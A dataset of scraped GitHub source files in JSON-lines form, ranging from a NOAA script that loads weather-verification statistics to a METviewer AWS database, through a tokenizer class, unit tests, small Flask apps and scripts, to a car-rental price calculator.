os.environ['METviewer_AWS_scripts_dir']\nmv_database = os.environ[RUN_abbrev+'_mv_database_name']\nmv_group = os.environ[RUN_abbrev+'_mv_database_group']\nmv_desc = os.environ[RUN_abbrev+'_mv_database_desc']\n\n# Set up walltime\ntransfer_walltime = '180'\nwalltime_seconds = datetime.timedelta(minutes=int(transfer_walltime)) \\\n        .total_seconds()\nwalltime = (datetime.datetime.min\n           + datetime.timedelta(minutes=int(transfer_walltime))).time()\n\n# Check current databases to see if it exists\ncurrent_database_info = subprocess.check_output(\n    os.path.join(METviewer_AWS_scripts_dir, 'mv_db_size_on_aws.sh')+' '\n    +os.environ['USER'].lower(), shell=True, encoding='UTF-8'\n)\nif mv_database in current_database_info:\n    new_or_add = 'add'\nelse:\n    new_or_add = 'new'\n\n# Create linking file dir\nlink_file_dir = os.path.join(os.getcwd(), 'METviewer_AWS_files')\nos.makedirs(link_file_dir, mode=0o755)\n\n# Create load XML\nload_xml_file = os.path.join(os.getcwd(), 'load_'+mv_database+'.xml')\nprint(\"Creating load xml \"+load_xml_file)\nif new_or_add == 'new':\n    drop_index = 'false'\nelse:\n    drop_index = 'true'\nif os.path.exists(load_xml_file):\n    os.remove(load_xml_file)\nwith open(load_xml_file, 'a') as xml:\n    xml.write('<load_spec>\\n')\n    xml.write('  <connection>\\n')\n    xml.write('    <host>metviewer-dev-2-cluster.cluster-c0bl5kb6fffo.'\n              +'us-east-1.rds.amazonaws.com:3306</host>\\n')\n    xml.write('    <database>'+mv_database+'</database>\\n')\n    xml.write('    <user>rds_user</user>\\n')\n    xml.write('    <password>rds_pwd</password>\\n')\n    xml.write('    <management_system>aurora</management_system>\\n')\n    xml.write('  </connection>\\n')\n    xml.write('\\n')\n    xml.write('  <met_version>V'+MET_version+'</met_version>\\n')\n    xml.write('\\n')\n    xml.write('  <verbose>true</verbose>\\n')\n    xml.write('  <insert_size>1</insert_size>\\n')\n    xml.write('  <mode_header_db_check>true</mode_header_db_check>\\n')\n    xml.write('  <stat_header_db_check>true</stat_header_db_check>\\n')\n    xml.write('  <drop_indexes>false</drop_indexes>\\n')\n    xml.write('  <apply_indexes>false</apply_indexes>\\n')\n    xml.write('  <load_stat>true</load_stat>\\n')\n    xml.write('  <load_mode>true</load_mode>\\n')\n    xml.write('  <load_mpr>true</load_mpr>\\n')\n    xml.write('  <load_orank>true</load_orank>\\n')\n    xml.write('  <force_dup_file>false</force_dup_file>\\n')\n    xml.write('  <group>'+mv_group+'</group>\\n')\n    xml.write('  <description>'+mv_desc+'</description>\\n')\n    xml.write('  <load_files>\\n')\nfor RUN_type in RUN_type_list:\n    gather_by = os.environ[RUN_abbrev+'_'+RUN_type+'_gather_by']\n    for model in model_list:\n        gather_by_RUN_type_model_dir = os.path.join(\n            DATA, RUN, 'metplus_output', 'gather_by_'+gather_by,\n            'stat_analysis', RUN_type, model\n        )\n        for file_name in os.listdir(gather_by_RUN_type_model_dir):\n            os.link(\n                os.path.join(gather_by_RUN_type_model_dir, file_name),\n                os.path.join(link_file_dir, RUN_type+'_'+file_name)\n            )\n            with open(load_xml_file, 'a') as xml:\n                xml.write('    <file>/base_dir/'\n                          +RUN_type+'_'+file_name+'</file>\\n')\nwith open(load_xml_file, 'a') as xml:\n    xml.write('  </load_files>\\n')\n    xml.write('\\n')\n    xml.write('</load_spec>')\n\n# Create job card file for:\n#   Create database if needed and load data\n#   mv_create_db_on_aws.sh agruments:\n#      1 - username\n#      2 - database name\n#   mv_load_to_aws.sh agruments:\n#      1 - username\n#      2 - base dir\n#      3 - XML file\n#      4 (opt) - sub dir\nAWS_job_filename = os.path.join(DATA, 'batch_jobs',\n                                NET+'_'+RUN+'_load2METviewerAWS.sh')\nwith open(AWS_job_filename, 'a') as AWS_job_file:\n    AWS_job_file.write('#!/bin/sh'+'\\n')\n    AWS_job_file.write('set -x'+'\\n')\n    if machine == 'WCOSS2':\n        AWS_job_file.write('cd $PBS_O_WORKDIR\\n')\n    if new_or_add == 'new':\n        AWS_job_file.write('echo \"Creating database on METviewer AWS using '\n                           +os.path.join(METviewer_AWS_scripts_dir,\n                                         'mv_create_db_on_aws.sh')\n                           +'\"\\n')\n        AWS_job_file.write(\n            os.path.join(METviewer_AWS_scripts_dir,\n                         'mv_create_db_on_aws.sh')+' '\n            +os.environ['USER'].lower()+' '\n            +mv_database+'\\n'\n        )\n    AWS_job_file.write('echo \"Loading data to METviewer AWS using '\n                       +os.path.join(METviewer_AWS_scripts_dir,\n                                     'mv_load_to_aws.sh')\n                       +'\"\\n')\n    AWS_job_file.write(\n        os.path.join(METviewer_AWS_scripts_dir, 'mv_load_to_aws.sh')+' '\n        +os.environ['USER'].lower()+' '\n        +link_file_dir+' '\n        +load_xml_file+'\\n'\n    )\n    AWS_job_file.write('echo \"Check METviewer AWS database list using '\n                       +os.path.join(METviewer_AWS_scripts_dir,\n                                     'mv_db_size_on_aws.sh')\n                      +'\"\\n')\n    AWS_job_file.write(\n        os.path.join(METviewer_AWS_scripts_dir, 'mv_db_size_on_aws.sh')+' '\n        +os.environ['USER'].lower()\n    )\n    if KEEPDATA == 'NO':\n        AWS_job_file.write('\\n')\n        AWS_job_file.write('cd ..\\n')\n        AWS_job_file.write('rm -rf '+RUN)\n\n# Submit job card\nos.chmod(AWS_job_filename, 0o755)\nAWS_job_output = AWS_job_filename.replace('.sh', '.out')\nAWS_job_name = AWS_job_filename.rpartition('/')[2].replace('.sh', '')\nprint(\"Submitting \"+AWS_job_filename+\" to \"+QUEUESERV)\nprint(\"Output sent to \"+AWS_job_output)\nif machine == 'WCOSS2':\n    os.system('qsub -V -l walltime='+walltime.strftime('%H:%M:%S')+' '\n              +'-q '+QUEUESERV+' -A '+ACCOUNT+' -o '+AWS_job_output+' '\n              +'-e '+AWS_job_output+' -N '+AWS_job_name+' '\n              +'-l select=1:ncpus=1 '+AWS_job_filename)\nelif machine in ['HERA', 'ORION', 'S4', 'JET']:\n    os.system('sbatch --ntasks=1 --time='+walltime.strftime('%H:%M:%S')+' '\n              +'--partition='+QUEUESERV+' --account='+ACCOUNT+' '\n              +'--output='+AWS_job_output+' '\n              +'--job-name='+AWS_job_name+' '+AWS_job_filename)\nprint(\"END: \"+os.path.basename(__file__))\n","repo_name":"NOAA-EMC/EMC_verif-global","sub_path":"ush/load_to_METviewer_AWS.py","file_name":"load_to_METviewer_AWS.py","file_ext":"py","file_size_in_byte":7409,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"}
{"seq_id":"24007634979","text":"from typing import Dict, Iterator, List, Optional, Tuple, Union\n\nfrom .. import AddedToken, Tokenizer, decoders, pre_tokenizers, trainers\nfrom ..models import BPE\nfrom ..normalizers import BertNormalizer, Lowercase, Sequence, unicode_normalizer_from_str\nfrom .base_tokenizer import BaseTokenizer\n\n\nclass CharBPETokenizer(BaseTokenizer):\n    \"\"\"Original BPE Tokenizer\n\n    Represents the BPE algorithm, as introduced by Rico Sennrich\n    (https://arxiv.org/abs/1508.07909)\n\n    The defaults settings corresponds to OpenAI GPT BPE tokenizers and differs from the original\n    Sennrich subword-nmt implementation by the following options that you can deactivate:\n        - adding a normalizer to clean up the text (deactivate with `bert_normalizer=False`) by:\n            * removing any control characters and replacing all whitespaces by the classic one.\n            * handle chinese chars by putting spaces around them.\n            * strip all accents.\n        - spitting on punctuation in addition to whitespaces (deactivate it with\n          `split_on_whitespace_only=True`)\n    \"\"\"\n\n    def __init__(\n        self,\n        vocab: Optional[Union[str, Dict[str, int]]] = None,\n        merges: Optional[Union[str, Dict[Tuple[int, int], Tuple[int, int]]]] = None,\n        unk_token: Union[str, AddedToken] = \"<unk>\",\n        suffix: str = \"</w>\",\n        dropout: Optional[float] = None,\n        lowercase: bool = False,\n        unicode_normalizer: Optional[str] = None,\n        bert_normalizer: bool = True,\n        split_on_whitespace_only: bool = False,\n    ):\n        if vocab is not None and merges is not None:\n            tokenizer = Tokenizer(\n                BPE(\n                    vocab,\n                    merges,\n                    dropout=dropout,\n                    unk_token=str(unk_token),\n                    end_of_word_suffix=suffix,\n                )\n            )\n        else:\n            tokenizer = Tokenizer(BPE(unk_token=str(unk_token), dropout=dropout, end_of_word_suffix=suffix))\n\n        if tokenizer.token_to_id(str(unk_token)) is not None:\n            tokenizer.add_special_tokens([str(unk_token)])\n\n        # Check for Unicode normalization first (before everything else)\n        normalizers = []\n\n        if unicode_normalizer:\n            normalizers += [unicode_normalizer_from_str(unicode_normalizer)]\n\n        if bert_normalizer:\n            normalizers += [BertNormalizer(lowercase=False)]\n\n        if lowercase:\n            normalizers += [Lowercase()]\n\n        # Create the normalizer structure\n        if len(normalizers) > 0:\n            if len(normalizers) > 1:\n                tokenizer.normalizer = Sequence(normalizers)\n            else:\n                tokenizer.normalizer = normalizers[0]\n\n        if split_on_whitespace_only:\n            tokenizer.pre_tokenizer = pre_tokenizers.WhitespaceSplit()\n        else:\n            tokenizer.pre_tokenizer = pre_tokenizers.BertPreTokenizer()\n\n        tokenizer.decoder = decoders.BPEDecoder(suffix=suffix)\n\n        parameters = {\n            \"model\": \"BPE\",\n            \"unk_token\": unk_token,\n            \"suffix\": suffix,\n            \"dropout\": dropout,\n            \"lowercase\": lowercase,\n            \"unicode_normalizer\": unicode_normalizer,\n            \"bert_normalizer\": bert_normalizer,\n            \"split_on_whitespace_only\": split_on_whitespace_only,\n        }\n\n        super().__init__(tokenizer, parameters)\n\n    @staticmethod\n    def from_file(vocab_filename: str, merges_filename: str, **kwargs):\n        vocab, merges = BPE.read_file(vocab_filename, merges_filename)\n        return CharBPETokenizer(vocab, merges, **kwargs)\n\n    def train(\n        self,\n        files: Union[str, List[str]],\n        vocab_size: int = 30000,\n        min_frequency: int = 2,\n        special_tokens: List[Union[str, AddedToken]] = [\"<unk>\"],\n        limit_alphabet: int = 1000,\n        initial_alphabet: List[str] = [],\n        suffix: Optional[str] = \"</w>\",\n        show_progress: bool = True,\n    ):\n        \"\"\"Train the model using the given files\"\"\"\n\n        trainer = trainers.BpeTrainer(\n            vocab_size=vocab_size,\n            min_frequency=min_frequency,\n            special_tokens=special_tokens,\n            limit_alphabet=limit_alphabet,\n            initial_alphabet=initial_alphabet,\n            end_of_word_suffix=suffix,\n            show_progress=show_progress,\n        )\n        if isinstance(files, str):\n            files = [files]\n        self._tokenizer.train(files, trainer=trainer)\n\n    def train_from_iterator(\n        self,\n        iterator: Union[Iterator[str], Iterator[Iterator[str]]],\n        vocab_size: int = 30000,\n        min_frequency: int = 2,\n        special_tokens: List[Union[str, AddedToken]] = [\"<unk>\"],\n        limit_alphabet: int = 1000,\n        initial_alphabet: List[str] = [],\n        suffix: Optional[str] = \"</w>\",\n        show_progress: bool = True,\n        length: Optional[int] = None,\n    ):\n        \"\"\"Train the model using the given iterator\"\"\"\n\n        trainer = trainers.BpeTrainer(\n            vocab_size=vocab_size,\n            min_frequency=min_frequency,\n            special_tokens=special_tokens,\n            limit_alphabet=limit_alphabet,\n            initial_alphabet=initial_alphabet,\n            end_of_word_suffix=suffix,\n            show_progress=show_progress,\n        )\n        self._tokenizer.train_from_iterator(\n            iterator,\n            trainer=trainer,\n            length=length,\n        )\n","repo_name":"huggingface/tokenizers","sub_path":"bindings/python/py_src/tokenizers/implementations/char_level_bpe.py","file_name":"char_level_bpe.py","file_ext":"py","file_size_in_byte":5466,"program_lang":"python","lang":"en","doc_type":"code","stars":7814,"dataset":"github-code","pt":"38"}
{"seq_id":"73020610671","text":"# pylint: disable=missing-function-docstring\nimport math\nfrom typing import Tuple\nimport pytest\nimport torch\nfrom pycave.bayes import MarkovChain\n\n\ndef test_fit_automatic_config():\n    chain = MarkovChain()\n    data = torch.randint(50, size=(100, 20))\n    chain.fit(data)\n    assert chain.model_.config.num_states == 50\n\n\n@pytest.mark.flaky(max_runs=3, min_passes=1)\ndef test_sample_and_fit():\n    chain = MarkovChain(2)\n    initial_probs, transition_probs = _set_probs(chain)\n    sample = chain.sample(1000000, 10)\n\n    new = MarkovChain(2)\n    new.fit(sample)\n\n    assert torch.allclose(initial_probs, new.model_.initial_probs, atol=1e-3)\n    assert torch.allclose(transition_probs, new.model_.transition_probs, atol=1e-3)\n\n\ndef test_score():\n    chain = MarkovChain(2)\n    test_data, expected = _set_sample_data(chain)\n    actual = chain.score(test_data)\n    assert math.isclose(actual, -expected.mean())\n\n\ndef test_score_samples():\n    chain = MarkovChain(2)\n    test_data, expected = _set_sample_data(chain)\n    actual = chain.score_samples(test_data)\n    assert torch.allclose(actual, -expected)\n\n\n# -------------------------------------------------------------------------------------------------\n\n\ndef _set_probs(chain: MarkovChain) -> Tuple[torch.Tensor, torch.Tensor]:\n    data = torch.randint(2, size=(100, 20))\n    chain.fit(data)\n\n    initial_probs = torch.as_tensor([0.8, 0.2])\n    chain.model_.initial_probs.copy_(initial_probs)\n\n    transition_probs = torch.as_tensor([[0.5, 0.5], [0.1, 0.9]])\n    chain.model_.transition_probs.copy_(transition_probs)\n\n    return initial_probs, transition_probs\n\n\ndef _set_sample_data(chain: MarkovChain) -> Tuple[torch.Tensor, torch.Tensor]:\n    _set_probs(chain)\n\n    test_data = torch.as_tensor(\n        [\n            [1, 1, 0, 1],\n            [0, 1, 0, 1],\n            [0, 0, 1, 1],\n        ]\n    )\n    expected = torch.as_tensor(\n        [\n            math.log(0.2) + math.log(0.9) + math.log(0.1) + math.log(0.5),\n            math.log(0.8) + math.log(0.5) + math.log(0.1) + math.log(0.5),\n            math.log(0.8) + math.log(0.5) + math.log(0.5) + math.log(0.9),\n        ]\n    )\n    return test_data, expected\n","repo_name":"borchero/pycave","sub_path":"tests/bayes/markov_chain/test_markov_chain_estimator.py","file_name":"test_markov_chain_estimator.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"38"}
{"seq_id":"21554239215","text":"import json\n\nimport privatbank\nimport monobank\n\nfrom notion_utils import insert_transactions_to_notion, get_last_table_update, get_transactions_after\n\nif __name__ == '__main__':\n    with open(\"config.json\") as f:\n        config = json.load(f)\n    forward_window = config[\"forward_window\"]\n    notion_token = config[\"notion\"][\"token\"]\n    notion_url = config[\"notion\"][\"table_url\"]\n    cards = config[\"cards\"]\n\n    last_update = get_last_table_update(notion_url, \"time\", notion_token)\n    get_transaction_to = last_update + forward_window\n\n    transactions = []\n    for card in cards:\n        if card[\"type\"] == \"privat\":\n            transactions.extend(\n                privatbank.get_transactions(\n                    last_update,\n                    get_transaction_to,\n                    card[\"card_num\"],\n                    card[\"merchant_id\"],\n                    card[\"merchant_pass\"],\n                )\n            )\n        if card[\"type\"] == \"mono\":\n            transactions.extend(\n                monobank.get_transactions(\n                    last_update,\n                    get_transaction_to,\n                    card[\"card_id\"],\n                    card[\"limits_history\"],\n                    card[\"token\"],\n                )\n            )\n\n    transactions.sort(key=lambda x: x['time'])\n\n    last_transactions = get_transactions_after(notion_url, \"time\", last_update, notion_token)\n    last_transactions_hash = {\n        f\"{t['amount'] * 100:.0f}{t['rest'] * 100:.0f}{t['time'].start.timestamp():.0f}\"\n        for t in last_transactions\n    }\n\n    transactions = [\n        t\n        for t in transactions\n        if f\"{t['amount']}{t['rest']}{t['time']}\" not in last_transactions_hash\n    ]\n\n    insert_transactions_to_notion(notion_url, transactions, notion_token)\n","repo_name":"BohdanRoshko/notion-integration","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"29607429405","text":"\nimport time\nimport datetime\n\n# below codes will only focus on how to create a file name with current time being a part of file name\n# make sure to add codes to goto required working directory\n# get the current time information from system\n\npartial_time = str(datetime.datetime.now())\n#print local time - for info only\nprint(partial_time)\n\nlogfile_name = 'Test_report_' + partial_time[0:10]+ '_' + partial_time[11:13] + partial_time[14:16]\nlog_file = logfile_name + '.' + 'txt'\nprint(log_file)\n\n# this will create a file named as logfile in the current directory ; it is a text file\nwrite_file = open(log_file, 'w')\nwrite_file.close()\n\n\n\"\"\" output:\n#this is system time format\n2018-05-30 23:37:36.509681\n\n# remove the ':' from 23:37 ; second is not used; file extension added as 'txt'\nTest_report_2018-05-30_2337.txt\n\n# this is final name :\nTest_report_2018-05-30_2337\n\n\"\"\"\n","repo_name":"mkphrvdds18/making-a-report-file-based-on-real-time","sub_path":"filename_withtime.py","file_name":"filename_withtime.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"6940577431","text":"from flask import Blueprint, redirect,request\nfrom flask_login import current_user, login_user, logout_user, login_required\nfrom app.models import db, Thread,User, Category, Post\nfrom app.forms import ThreadForm\nfrom .auth_routes import validation_errors_to_error_messages\n\n\n\npost_routes = Blueprint('post', __name__)\n\n@post_routes.route('/thread/<int:thread_id>', methods=['GET','POST'])\n@login_required\ndef create_post(thread_id):\n    user = User.query.get(current_user.id)\n\n    form = ThreadForm()\n    form['csrf_token'].data = request.cookies['csrf_token']\n\n    if form.validate_on_submit():\n        find_thread = Thread.query.get(thread_id)\n        new_post = Post(\n            subject=form.data[\"subject\"],\n            text=form.data[\"text\"],\n            user=user,\n            thread=find_thread\n            )\n        db.session.add(new_post)\n        db.session.commit()\n        return new_post.to_dict()\n    elif form.errors:\n        return {'errors': validation_errors_to_error_messages(form.errors)}, 401\n\n@post_routes.route('/<int:id>', methods=['GET','PUT'])\n@login_required\ndef edit_post(id):\n    post_to_edit = Post.query.get(id)\n\n    form = ThreadForm()\n    form['csrf_token'].data = request.cookies['csrf_token']\n    print(form.data)\n\n    if form.validate_on_submit():\n        if form.data[\"subject\"]:\n            post_to_edit.subject = form.data[\"subject\"]\n        if form.data[\"text\"]:\n            post_to_edit.text = form.data[\"text\"]\n\n        db.session.commit()\n        return post_to_edit.to_dict()\n    elif form.errors:\n        return {'errors': validation_errors_to_error_messages(form.errors)}, 401\n\n@post_routes.route('/<int:id>', methods=['DELETE'])\n@login_required\ndef delete_post(id):\n    post = Post.query.get(id)\n    if not post:\n        return {'errors': \"could not find post\"}\n\n    db.session.delete(post)\n    db.session.commit()\n    return {'success':'post was deleted'}\n","repo_name":"renahime/Fog-of-War","sub_path":"app/api/post_routes.py","file_name":"post_routes.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74682942830","text":"# !/usr/bin/env python\r\n# -*-coding:utf-8 -*-\r\n\r\n\"\"\"\r\n# File       : app.py\r\n# Time       ：2021/11/11 15:26\r\n# Author     ：jiewei_yang\r\n# version    ：python 3.7.9\r\n# Description：\r\n\"\"\"\r\n\r\nfrom flask import Flask, render_template, jsonify, request\r\nfrom icecream import ic\r\n\r\napp = Flask(__name__)\r\napp.config['JSON_AS_ASCII'] = False\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n    # return render_template('layui_jquery_button.html') ## 增加了表格数据的异步加载\r\n    return render_template('layui_jquery_form.html')  # form表单的异步加载数据 \r\n\r\n\r\n# /table/data?page=1&limit=10\r\n@app.route('/table/data', methods=['GET'])\r\ndef login():\r\n    page = request.args.get(\"page\")\r\n    limit = request.args.get(\"limit\")\r\n    ic(page, limit)\r\n    data = {\"code\": 0, \"msg\": \"\", \"count\": 30, \"data\":\r\n        [{\"id\": 10000, \"username\": \"user-0\", \"sex\": \"女\", \"city\": \"城市-0\", \"sign\": \"签名-0\", \"experience\": 255,\r\n          \"logins\": 24, \"wealth\": 82830700, \"classify\": \"作家\", \"score\": 57},\r\n         {\"id\": 10001, \"username\": \"user-1\", \"sex\": \"男\", \"city\": \"城市-1\", \"sign\": \"签名-1\", \"experience\": 884,\r\n          \"logins\": 58, \"wealth\": 64928690, \"classify\": \"词人\", \"score\": 27},\r\n         {\"id\": 10002, \"username\": \"user-2\", \"sex\": \"女\", \"city\": \"城市-2\", \"sign\": \"签名-2\", \"experience\": 650,\r\n          \"logins\": 77, \"wealth\": 6298078, \"classify\": \"酱油\", \"score\": 31},\r\n         {\"id\": 10003, \"username\": \"user-3\", \"sex\": \"女\", \"city\": \"城市-3\", \"sign\": \"签名-3\", \"experience\": 362,\r\n          \"logins\": 157, \"wealth\": 37117017, \"classify\": \"诗人\", \"score\": 68},\r\n         {\"id\": 10004, \"username\": \"user-4\", \"sex\": \"男\", \"city\": \"城市-4\", \"sign\": \"签名-4\", \"experience\": 807,\r\n          \"logins\": 51, \"wealth\": 76263262, \"classify\": \"作家\", \"score\": 6},\r\n         {\"id\": 10005, \"username\": \"user-5\", \"sex\": \"女\", \"city\": \"城市-5\", \"sign\": \"签名-5\", \"experience\": 173,\r\n          \"logins\": 68, \"wealth\": 60344147, \"classify\": \"作家\", \"score\": 87},\r\n         {\"id\": 10006, \"username\": \"user-6\", \"sex\": \"女\", \"city\": \"城市-6\", \"sign\": \"签名-6\", \"experience\": 982,\r\n          \"logins\": 37, \"wealth\": 57768166, \"classify\": \"作家\", \"score\": 34},\r\n         {\"id\": 10007, \"username\": \"user-7\", \"sex\": \"男\", \"city\": \"城市-7\", \"sign\": \"签名-7\", \"experience\": 727,\r\n          \"logins\": 150, \"wealth\": 82030578, \"classify\": \"作家\", \"score\": 28},\r\n         {\"id\": 10008, \"username\": \"user-8\", \"sex\": \"男\", \"city\": \"城市-8\", \"sign\": \"签名-8\", \"experience\": 951,\r\n          \"logins\": 133, \"wealth\": 16503371, \"classify\": \"词人\", \"score\": 14}, ]}\r\n\r\n    return jsonify(data)\r\n\r\nimport json\r\n@app.route('/table/form', methods=[  'POST'])\r\ndef form():\r\n    # 通过 ajax 进行数据的传递\r\n    data = json.loads(request.form.get('data_front'))\r\n    print(data)\r\n    return jsonify({'front_return':'后端返回的数据'})\r\n\r\n\r\nif __name__ == '__main__':\r\n    app.run(debug=True)\r\n","repo_name":"jevy146/flask_layui_form","sub_path":"layui_flask_use_kinds/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"10138885275","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\ninputfile = \"input/Day13Input.txt\"\nimport numpy as np\n          \nif __name__ == \"__main__\":\n    print(\"Advent of Code 2020 - Day 13\")\n    with open(inputfile, 'r') as f:\n        data = f.readlines()\n          \n    earliest = float(data[0].strip())\n    busIDs = data[1].strip().split(\",\")\n          \n    timestamp = earliest\n    done = 0\n    while not done:\n        for bus in busIDs:\n            if bus == 'x':\n                continue\n            if timestamp % int(bus) == 0:\n                print(\"Part 1:\", (timestamp - earliest)*float(bus))\n                done = 1\n        timestamp += 1\n          \n    busIDfloats = [float(i) for i in busIDs if i != 'x']\n    schedules = []\n    for bus in busIDfloats:\n        schedules.append(busIDs.index(str(int(bus))))\n    \n    t = busIDfloats[0]\n    for i in range(1, len(schedules)):\n        while (t + schedules[i]) % busIDfloats[i]:\n            t += np.prod(busIDfloats[:i])\n    print(\"Part 2\", t)\n    ","repo_name":"ksitterle/AdventOfCode2020","sub_path":"src/Day13.py","file_name":"Day13.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"22982107292","text":"from matplotlib import pyplot as plt\nimport math\nimport numpy as np\nfrom scipy.stats import norm\n\ndef f():\n    #change path as required\n    # with open(\"C://Users//sapam//Desktop//PYPY//m1\" + sign + \"m2//v1.txt\", \"r\") as v_1:\n    #     data_v1 = [float(x) for x in v_1.read().split(\"\\n\")]\n    # with open(\"C://Users//sapam//Desktop//PYPY//m1\" + sign + \"m2//vd.txt\", \"r\") as v_d:\n    #     data_vd = [float(x) for x in v_d.read().split(\"\\n\")]\n    # res = [i / j for i, j in zip(data_vd, data_v1)]\n\n    with open(\"C://Users//sapam//Desktop//PYPY//_physics_//fall22_lab//BP//y.txt\", \"r\") as v_1:\n        res = [float(x) for x in v_1.read().split(\"\\n\")]   \n    print(sorted(res))\n    #res = [x+ 255.5 for x in res]\n\n    def avg(ls):\n        n = len(ls)\n        if n <= 1:\n            return ls[0]\n        return sum(ls)/float(n)\n\n    def std(data):\n        n = len(data)\n        if n <= 1:\n            return 0.0\n        sd = 0.0\n        for el in data:\n            sd += (float(el) - avg(data))**2\n        return math.sqrt(sd / float(n-1))\n    \n    print()\n    print(chr(92)+\"item\", \"Average of data is \" + str(round(avg(res),3)))\n    print(chr(92)+\"item\", \"SD of data is \" + str(round(std(res),3)))\n    \n    outc, outc2 = 0, 0\n    av, sd = avg(res), std(res)\n    for r in res:\n        if r < av-sd or r > av+sd:\n            outc += 1\n            if r < av-2*sd or r > av+2*sd:\n                outc2 += 1\n\n    #print(outc, outc2, len(res))\n    print(chr(92)+\"item\", \"Fraction Data outside average +/- SD: \" + str(round(outc/len(res),3)))\n    print(chr(92)+\"item\", \"Fraction Data outside average +/- 2xSD: \" + str(round(outc2/len(res),3)))\n\n\n    # a = np.array(res)\n    # fig, ax = plt.subplots(figsize =(10, 7))\n    data = np.array(res)\n    \n    mu, std = norm.fit(data) \n    # We can also use our mean and sd\n    \n    # Plot the histogram.\n    plt.hist(data, bins=5, density=False, alpha=1, color='b')\n    \n    # Plot the PDF.\n    xmin, xmax = plt.xlim()\n    x = np.linspace(xmin, xmax, 100)\n    p = 25*norm.pdf(x, mu, std)\n    \n    plt.plot(x, p, 'k', linewidth=2)\n    #ax.hist(a, bins = list(range(255, 271, 2)))\n    #ax.hist(a, bins = [0.43,0.44, 0.45, 0.46, 0.47, 0.48, 0.49, 0.5])\n    #ax.hist(a, bins = [0.47, 0.48, 0.49, 0.50, 0.51, 0.52, 0.53, 0.54])\n    plt.show()\n\n\nf()","repo_name":"sarkarghya/_physics_","sub_path":"fall22_lab/BP/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11225796006","text":"print(\"\"\"\r\n    <===<<< TOYOTA KC EXPRESS >>>===>\r\n     RENTAL MOBIL :\r\n    ______________________________________________________________ \r\n    | KODE |  Nama Mobil  |          Harga Sewa                  |\r\n    |______|______________|  1 Jam Pertama   | 1 Jam Berikutnya  |\r\n    |------| ------------ |------------------|-------------------|\r\n    |  AL  | -> Alphard   | Rp. 550.000,00   | Rp. 300.000,00    |       \r\n    |  FO  | -> Fortuner  | Rp. 430.000,00   | Rp. 250.000,00    |\r\n    |  IN  | -> Innova    | Rp. 400.000,00   | Rp. 220.000,00    |\r\n    |  AV  | -> Avanza    | Rp. 350.000,00   | Rp. 200.000,00    |\r\n    |  CA  | -> Calya     | Rp. 320.000,00   | Rp. 200.000,00    |\r\n    |______|______________|__________________|___________________|\r\n        \r\n    \"\"\")\r\n\r\nnama  = input(\"Masukkan Nama : \")\r\nalamat = input(\"Masukkan Alamat : \")\r\numur = input(\"Masukkan Usia Anda : \")\r\nkontak = input(\"Nomor Handphone  : \")\r\n\r\nkode = input(\"Masukkan Kode Mobil : \")\r\njam  = int(input(\"Mau Sewa Berapa Jam? : \"))\r\n\r\nif kode == \"AL\":\r\n    mobil = \"Alphard\"\r\n    harga1 = 550_000\r\n    harga2 = 300_000\r\n    \r\n    if jam == 1:\r\n        hargaSewa = harga1\r\n    \r\n    elif jam >=2:\r\n        hargaSewa = (jam - 1) * harga2 + harga1\r\n    \r\nelif kode == \"FO\":\r\n    mobil = \"Fortuner\"\r\n    harga1 = 430_000\r\n    harga2 = 250_000\r\n    \r\n    if jam == 1:\r\n        hargaSewa = harga1\r\n    \r\n    elif jam >=2:\r\n        hargaSewa = (jam - 1) * harga2 + harga1\r\n        \r\nelif kode == \"IN\":\r\n    mobil = \"Innova\"\r\n    harga1 = 400_000\r\n    harga2 = 220_000\r\n    \r\n    if jam == 1:\r\n        hargaSewa = harga1\r\n    \r\n    elif jam >=2:\r\n        hargaSewa = (jam - 1) * harga2 + harga1\r\n    \r\nelif kode == \"AV\":\r\n    mobil = \"Avanza\"\r\n    harga1 = 350_000\r\n    harga2 = 200_000\r\n    \r\n    if jam == 1:\r\n        hargaSewa = harga1\r\n    \r\n    elif jam >=2:\r\n        hargaSewa = (jam - 1) * harga2 + harga1\r\n    \r\nelif kode == \"CA\":\r\n    mobil = \"Calya\"\r\n    harga1 = 320_000\r\n    harga2 = 200_000\r\n    \r\n    if jam == 1:\r\n        hargaSewa = harga1\r\n    \r\n    elif jam >=2:\r\n        hargaSewa = (jam - 1) * harga2 + harga1\r\n    \r\nelse:\r\n    print(\"Masukkan Kode Dengan Benar \")\r\n    \r\nprint(f\"\"\"\r\n      <===<<< TOYOTA KC EXPRESS >>>===>\r\n      Nama               : {nama}\r\n      Alamat             : {alamat}\r\n      Umur               : {umur} Tahun\r\n      No Handphone       : {kontak}\r\n      Nama Mobil         : {mobil}\r\n      Banyak Jam Sewa    : {jam} Jam\r\n      Harga Sewa Sebesar : Rp.{hargaSewa},00\r\n            \r\n      \"\"\")\r\n","repo_name":"tanpabatasbro/day-92","sub_path":"day 92.py","file_name":"day 92.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
